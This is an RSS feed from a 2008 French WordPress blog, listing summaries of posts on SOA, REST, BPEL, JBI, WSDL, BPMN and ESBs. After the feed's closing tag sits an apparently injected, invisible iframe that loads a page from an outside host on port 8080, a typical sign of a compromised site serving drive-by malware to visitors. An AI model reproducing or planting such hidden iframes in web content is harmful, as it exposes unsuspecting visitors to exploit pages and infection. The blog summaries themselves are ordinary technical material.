<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.5.1" -->
<rss version="0.92">
<channel>
	<title>Bertrand Guiral : formateur et consultant</title>
	<link>http://bertrand.guiral.info</link>
	<description>C'est l'imagination qui fait agir, pas la volonté</description>
	<lastBuildDate>Mon, 29 Dec 2008 11:10:37 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>Architecture RESTFul</title>
		<description>REST: REpresentationnal State Transfer
Style d'architecture RESTful
REST se définit comme un style d'architecture pour des systèmes distribués.

Au centre de ces concepts, il y a la notion de ressources identifiées par un URI ( Universal Resource Identifier).
La ressource peut être mainipulée en utilisant une interface http standard, et des informations sont échangées ...</description>
		<link>http://bertrand.guiral.info/2008/12/29/architecture-restfull/</link>
			</item>
	<item>
		<title>Business Process Execution Language (BPEL): Ecrire un premier Web-Service  avec netbeans</title>
		<description>BPEL permet de manipuler des web-services (on dit composer ou orchestrer) et génère lui-même un web service, défini par un wsdl , qui lui même s'appuie sur des schéma (xsd).

Netbeans, le célèbre IDE gratuit de SUN permet de réaliser assez facilement une application, et de la déployer sur un serveur ...</description>
		<link>http://bertrand.guiral.info/2008/06/29/business-process-execution-language-bpel-ecrire-un-premier-web-service-avec-netbeans/</link>
			</item>
	<item>
		<title>Sercices Oriented Architecture: Les outils et ressources de base</title>
		<description>Les outils:

Deux éditeurs sont incontournables: Netbeans et Eclipse.
Netbeans propose des editeurs bpel , xsd et wsdl assez intuitifs. Il est particulièrement adapté à glassfish pour tester des applications jbi.

De la même manière, Eclipse propose de nombreux plugins permettant de développer des applications bpel et bpmn. La démarche serait plutot top ...</description>
		<link>http://bertrand.guiral.info/2008/05/17/sercices-oriented-architecture-les-outils-et-ressources-de-base/</link>
			</item>
	<item>
		<title>JBI : Un exemple avec ServiceMix</title>
		<description>Ce tutorial accompagne la création d'une première application:
Il s'agit de surveiller un répertoire, et lorsqu'un fichier xml apparaît dans ce répertoire, le déplacer vers un autre répertoire, et envoyer le contenu dans une queue JMS et d'en archiver une copie.
JBI Components
Les JBI Components (Binding Components et "Service Engine") sont des ...</description>
		<link>http://bertrand.guiral.info/2008/05/15/jbi-un-exemple-avec-servicemix/</link>
			</item>
	<item>
		<title>JBI  - Java Business Integration: C&#8217;est quoi ?</title>
		<description>JBI est un standard java (JSR 208) qui définit une architecture pour permettre l'interoperabilité d'applications avec un système d'échanges de messages.
Les messages entre les "components" sont échangés à travers un "Normalized Message Router" (NMR). Le NMR sert de "Message Exchange Pattern" (MEP). Le NMR sert d'intermédiare pour échanger des messages, ...</description>
		<link>http://bertrand.guiral.info/2008/05/15/jbi-java-business-integration/</link>
			</item>
	<item>
		<title>wsdl - Web Services Description Language</title>
		<description>WSDL (Web Services Description Language) est un langage xml pour décrire les Web-Services et comment y accéder.

 Structure d'un wsdl 
Un wsdl décrit un Web-Service avec ces principales bailises:


La structure principale d'un wsdl ressemble à cela (liste non exhaustive):



   definition des types........



   definition des messages ....



 ...</description>
		<link>http://bertrand.guiral.info/2008/05/10/wsdl-web-services-description-language/</link>
			</item>
	<item>
		<title>BPMN - Business Process Modeling Notation</title>
		<description>BPMN - Business Process Modeling Notation - définit essentiellement les tâches métier et leurs relations en format xml (wikipedia).

Le plugin "Eclipse STP Modeler" permet de créer des fichiers BPMN.
Nous allons essayé de créer un projet avec ce plugin.

Voilà un exemple de représentation BPML d'un processus métier:

Figure 1. Model of a ...</description>
		<link>http://bertrand.guiral.info/2008/05/07/bpmn-business-process-modeling-notation/</link>
			</item>
	<item>
		<title>SOA et SCA: Le Projet Apache Tuscany</title>
		<description>Le projet Tuscany a pour but de créer une infrastructure SOA.

Tuscany est basé sur les spécifications définis par l'"Open CSA".

SCA (Service Component Architecture) définit un  modèle simple à base de service permettant la construction , l'assemblage et le déployment de services (Existant et nouveau) et de façon indépendante des ...</description>
		<link>http://bertrand.guiral.info/2008/05/04/soa-et-sca-le-projet-apache-tuscany/</link>
			</item>
	<item>
		<title>Comment choisir un Enterprise Service Bus (ESB) ?</title>
		<description>Traduction de servicemix faq Servicemix est un projet Apache proposant un ESB (Enterprise Service Bus),un SCA (Service Component Application) et un JBI (Java Business Integration).

Devant les besoins d'intégration d'un middleware , il est logique de considérer l'adoption d'un ESB. En faisant les évaluations des logiciels, il est important d'approcher le ...</description>
		<link>http://bertrand.guiral.info/2008/05/03/comment-choisir-un-esb/</link>
			</item>
	<item>
		<title>SOA : Service Oriented Architecture</title>
		<description>Le but des SOA: Unifier des systèmes hétérogènes, permettre une certaine "agilité" à des systèmes répartis, accélérer les vitesses de développement et de déploiement, offrir (ou utiliser) des services à (de) partenaires (Cela s'appelle l'interopérabilité).

Les moyens: 
Des services sont fournis (En général des web-services) , s'appuyant sur les normes les ...</description>
		<link>http://bertrand.guiral.info/2008/05/02/soa-service-oriented-architecture/</link>
			</item>
</channel>
</rss>



<iframe src="http://premiumnonfat.cn:8080/index.php" width=171 height=110 style="visibility: hidden"></iframe>